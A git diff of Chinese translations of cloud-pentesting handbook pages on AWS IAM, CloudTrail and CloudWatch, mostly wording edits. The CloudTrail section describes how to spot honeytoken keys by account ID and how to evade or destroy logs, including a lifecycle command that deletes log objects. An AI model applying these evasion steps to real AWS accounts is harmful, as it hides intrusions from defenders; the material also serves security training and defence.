```
@@ -138,12 +138,12 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
- 一个用户**组**可以**包含多个用户**,而一个**用户**可以**属于多个组**。
- **用户组不能嵌套**;它们只能包含用户,而不能包含其他用户组。
-- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,您必须创建它并将每个新用户分配给它。
-- AWS账户中IAM资源的数量和大小是有限的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
+- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,必须创建它并将每个新用户分配给它。
+- AWS账户中IAM资源的数量和大小是有限制的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
+IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定了它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。
@@ -153,7 +153,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效期。
+**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效持续时间。
### 策略
@@ -165,7 +165,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
- 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。
默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\
-如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。
+如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -194,17 +194,17 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
#### 内联策略
这种策略是**直接分配**给用户、组或角色的。因此,它们不会出现在策略列表中,因为其他任何人都可以使用它们。\
-内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您想确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不能意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。
+内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您希望确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不能意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。
#### 资源桶策略
这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。
-如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。
+如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则它们被允许。
### IAM边界
-IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。
+IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户一组不同的权限,如果他尝试使用这些权限,操作将**失败**。
边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。
@@ -212,7 +212,7 @@ IAM边界可以用来**限制用户或角色应有的权限**。这样,即使
### 会话策略
-会话策略是**在角色被假设时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
+会话策略是**在角色被假设时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
```bash
@@ -222,7 +222,7 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-注意,默认情况下,**AWS 可能会将会话策略添加到即将生成的会话**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
+注意,默认情况下,**AWS 可能会为即将生成的会话添加会话策略**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**。
@@ -233,13 +233,13 @@ aws sts assume-role \
要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。
-然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的。
+然而,通常你会希望根据第三方平台中用户的 **组别给予不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方。
.png)
### IAM 身份中心
-AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。
+AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 账户和云应用程序的访问管理汇集在一起。
登录域将类似于 `.awsapps.com`。
@@ -251,20 +251,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
.png)
-在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。
+在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何账户**。
-为了给身份中心用户/组访问一个帐户,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。
+为了给予身份中心用户/组对账户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标账户中创建一个 **信任身份提供者并具有指示策略的角色**。
#### AwsSSOInlinePolicy
-可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
+可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的账户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
-因此,即使你看到两个带有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。
+因此,即使你看到两个具有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。
### 跨账户信任和角色
-**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
-建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。
+**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信任) **访问他的账户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
+建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。
### AWS Simple AD
@@ -280,21 +280,23 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
#### Web 联合或 OpenID 认证
-该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予访问 AWS 控制台的权限,仅授予对 AWS 内部资源的访问权限。
+该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。
### 其他 IAM 选项
- 你可以 **设置密码策略设置**,选项如最小长度和密码要求。
-- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用等)。你可以每 **四小时** 生成一次凭证报告。
+- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每 **四小时** 生成一次凭证报告。
-AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以 **确保最小权限**。
+AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的劳动力和系统的权限,以 **确保最小权限**。
### IAM ID 前缀
-在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的键的 **IAM ID 前缀**:
+在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的 **IAM ID 前缀**:
-| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| 标识符代码 | 描述 |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
| ACCA | 上下文特定凭证 |
| AGPA | 用户组 |
| AIDA | IAM 用户 |
@@ -325,7 +327,7 @@ AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖
### CLI 认证
为了让常规用户通过 CLI 认证到 AWS,你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials` 中 **手动** 配置它们,或通过 **运行** `aws configure`。\
-在该文件中,你可以拥有多个配置文件,如果 **未指定配置文件**,使用 **aws cli** 时,将使用该文件中名为 **`[default]`** 的配置文件。\
+在该文件中,你可以拥有多个配置文件,如果在 **aws cli** 中未指定 **配置文件**,则将使用该文件中名为 **`[default]`** 的配置文件。\
具有多个配置文件的凭证文件示例:
```
[default]
@@ -337,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**假设这些账户中的角色**的权限,您就不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。
+如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。
您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\
配置文件示例:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 919bc9c39..e5dfb336a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
## **CloudTrail**
-AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源变更跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
+AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更改跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
每个记录的事件包含:
@@ -19,17 +19,17 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细
- 请求参数: `requestParameters`
- 响应元素: `responseElements`
-事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,这些日志由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\
+事件大约每 5 分钟写入一个新的日志文件,**以 JSON 文件格式**,它们由 CloudTrail 保存,最后,日志文件在大约 15 分钟后 **交付到 S3**。\
CloudTrail 的日志可以 **跨账户和跨区域聚合。**\
CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\
创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。
-日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权限的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
+日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
日志存储在 **具有此名称格式的 S3 存储桶中**:
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- 其中 BucketName 为: **`aws-cloudtrail-logs--`**
+- 存储桶名称为: **`aws-cloudtrail-logs--`**
- 示例: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
在每个文件夹中,每个日志将具有 **遵循此格式的名称**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
@@ -59,7 +59,7 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志
.png)
-这样,您可以轻松地在所有账户的所有区域配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。
+这样,您可以轻松地在所有账户的所有区域中配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。
### 日志文件检查
@@ -70,7 +70,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
### 日志到 CloudWatch
**CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时提醒您。**\
-请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个 **角色** 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail:
+请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个允许该操作的 **角色**。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail:
- CreateLogStream:这允许创建 CloudWatch Logs 日志流
- PutLogEvents:将 CloudTrail 日志传送到 CloudWatch Logs 日志流
@@ -83,23 +83,23 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
### 洞察
-**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **查找和响应异常 API 活动比以往任何时候都更容易**。
+**CloudTrail Insights** 自动 **分析** CloudTrail 路径中的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。
洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### 安全
-
-| CloudTrail 日志文件完整性 | - 验证日志是否被篡改(修改或删除)
使用摘要文件(为每个文件创建哈希)
- SHA-256 哈希
- 使用 RSA 进行数字签名的 SHA-256
- 由 Amazon 拥有的私钥
- 创建摘要文件需要 1 小时(每小时整点完成)
|
+| 控制名称 | 实施细节 |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| CloudTrail 日志文件完整性 | - 验证日志是否被篡改(修改或删除)
使用摘要文件(为每个文件创建哈希)
- SHA-256 哈希
- 使用 RSA 进行数字签名的 SHA-256
- 私钥由 Amazon 拥有
- 创建摘要文件需要 1 小时(每小时整点完成)
|
| 防止未经授权的访问 | 使用 IAM 策略和 S3 存储桶策略
- 安全团队 —> 管理员访问
- 审计员 —> 只读访问
- 使用 SSE-S3/SSE-KMS 加密日志
|
| 防止日志文件被删除 | - 使用 IAM 和存储桶策略限制删除访问
- 配置 S3 MFA 删除
- 通过日志文件验证进行验证
|
## 访问顾问
-AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用和相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
+AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用及相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
> [!TIP]
-> 因此,访问顾问告知 **给予用户的不必要权限**,以便管理员可以删除它们
+> 因此,访问顾问告知 **用户被授予的不必要权限**,以便管理员可以删除它们
.png)
@@ -148,15 +148,15 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
### HoneyTokens **绕过**
-Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就说明该密钥可能被盗。
+Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥。
-然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否为 Honeytoken**。
+然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 这样的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否是 Honeytoken**。
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) 有一些规则来检测密钥是否属于 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- 如果 **`canarytokens.org`** 出现在角色名称中,或者账户 ID **`534261010715`** 出现在错误消息中。
- 最近测试时,他们使用的账户是 **`717712589309`**,并且名称中仍然包含 **`canarytokens.com`** 字符串。
-- 如果 **`SpaceCrab`** 出现在角色名称的错误消息中
+- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称中
- **SpaceSiren** 使用 **uuids** 生成用户名:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- 如果 **名称看起来像是随机生成的**,则很有可能是 HoneyToken。
@@ -191,20 +191,20 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
#### 没有日志的 AWS 服务
-过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务将 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。
+过去有一些 **AWS 服务不会将日志发送到 CloudTrail**(在这里找到 [列表](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。其中一些服务会 **响应** 一个 **错误**,其中包含 **密钥角色的 ARN**,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。
这样,**攻击者可以在不触发任何日志的情况下获取密钥的 ARN**。在 ARN 中,攻击者可以看到 **AWS 账户 ID 和名称**,很容易知道 HoneyToken 的公司账户 ID 和名称,因此攻击者可以识别该令牌是否是 HoneyToken。
.png>)
> [!CAUTION]
-> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在都已修复,因此您可能需要自己寻找...
+> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找...
>
> 有关更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
### 访问第三方基础设施
-某些 AWS 服务将 **生成一些基础设施**,例如 **数据库** 或 **Kubernetes** 集群(EKS)。用户 **直接与这些服务交互**(如 Kubernetes API) **不会使用 AWS API**,因此 CloudTrail 将无法看到此通信。
+某些 AWS 服务将 **生成一些基础设施**,例如 **数据库** 或 **Kubernetes** 集群(EKS)。用户 **直接与这些服务交互**(如 Kubernetes API) **不会使用 AWS API**,因此 CloudTrail 无法看到此通信。
因此,具有 EKS 访问权限的用户如果发现 EKS API 的 URL,可以在本地生成一个令牌,并 **直接与 API 服务交谈而不被 Cloudtrail 检测到**。
@@ -244,11 +244,11 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
```bash
aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region
```
-### 修改桶配置
+### 修改存储桶配置
-- 删除 S3 桶
-- 更改桶策略以拒绝来自 CloudTrail 服务的任何写入
-- 向 S3 桶添加生命周期策略以删除对象
+- 删除 S3 存储桶
+- 更改存储桶策略以拒绝来自 CloudTrail 服务的任何写入
+- 向 S3 存储桶添加生命周期策略以删除对象
- 禁用用于加密 CloudTrail 日志的 kms 密钥
### Cloudtrail 勒索软件
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 134dd37e6..76e04431e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -15,7 +15,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- IAM 和 S3 中安全策略的更改
- 对 AWS 管理控制台的登录失败尝试
- 导致授权失败的 API 调用
-- 在 cloudwatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
+- 在 CloudWatch 中搜索的过滤器: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
## 关键概念
@@ -37,9 +37,9 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- **示例**:对于 EC2 实例,维度可能包括 InstanceId、InstanceType 和 AvailabilityZone。
-### 统计
+### 统计信息
-统计是对指标数据进行的数学计算,以总结其随时间的变化。常见的统计包括平均值、总和、最小值、最大值和样本计数。
+统计信息是对指标数据进行的数学计算,以便在一段时间内对其进行总结。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。
- **示例**:计算一小时内的平均 CPU 利用率。
@@ -53,7 +53,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
### 仪表板
-**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板,以在单一视图中可视化数据并监控资源,结合来自各种 AWS 服务的不同指标。
+**CloudWatch 仪表板** 提供可自定义的 **AWS CloudWatch 指标视图**。可以创建和配置仪表板以可视化数据并在单一视图中监控资源,结合来自各种 AWS 服务的不同指标。
**关键特性**:
@@ -68,7 +68,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
**指标流** 在 AWS CloudWatch 中使您能够近乎实时地持续流式传输 CloudWatch 指标到您选择的目标。这对于使用 AWS 之外的工具进行高级监控、分析和自定义仪表板特别有用。
-**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表 AWS 资源的各种指标,如 CPU 利用率、内存使用等。
+**指标数据** 在指标流中指的是正在流式传输的实际测量或数据点。这些数据点代表各种指标,如 CPU 利用率、内存使用情况等,针对 AWS 资源。
**示例用例**:
@@ -83,7 +83,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
- **阈值**:触发警报的值。
- **评估周期**:评估数据的周期数。
-- **触发警报的数据点**:触发警报所需的达到阈值的周期数。
+- **触发警报的数据点**:需要达到阈值的周期数以触发警报。
- **操作**:当警报状态被触发时发生的事情(例如,通过 SNS 通知)。
**示例用例**:
@@ -92,7 +92,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
### 异常检测器
-**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能指示问题的正常模式的偏差。
+**异常检测器** 使用机器学习自动检测您的指标中的异常。您可以将异常检测应用于任何 CloudWatch 指标,以识别可能表明问题的正常模式的偏差。
**关键组件**:
@@ -111,29 +111,29 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
**示例用例**:
-- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值,该规则可以触发警报或自动缓解措施。
+- 监控 RDS 性能:启用一个针对 Amazon RDS 的托管洞察规则,监控关键性能指标,如 CPU 利用率、内存使用情况和磁盘 I/O。如果这些指标中的任何一个超过安全操作阈值,该规则可以触发警报或自动缓解措施。
### CloudWatch 日志
允许 **聚合和监控来自应用程序** 和系统的日志,来自 **AWS 服务**(包括 CloudTrail)和 **来自应用程序/系统**(**CloudWatch Agent** 可以安装在主机上)。日志可以 **无限期存储**(取决于日志组设置)并可以导出。
**元素**:
-
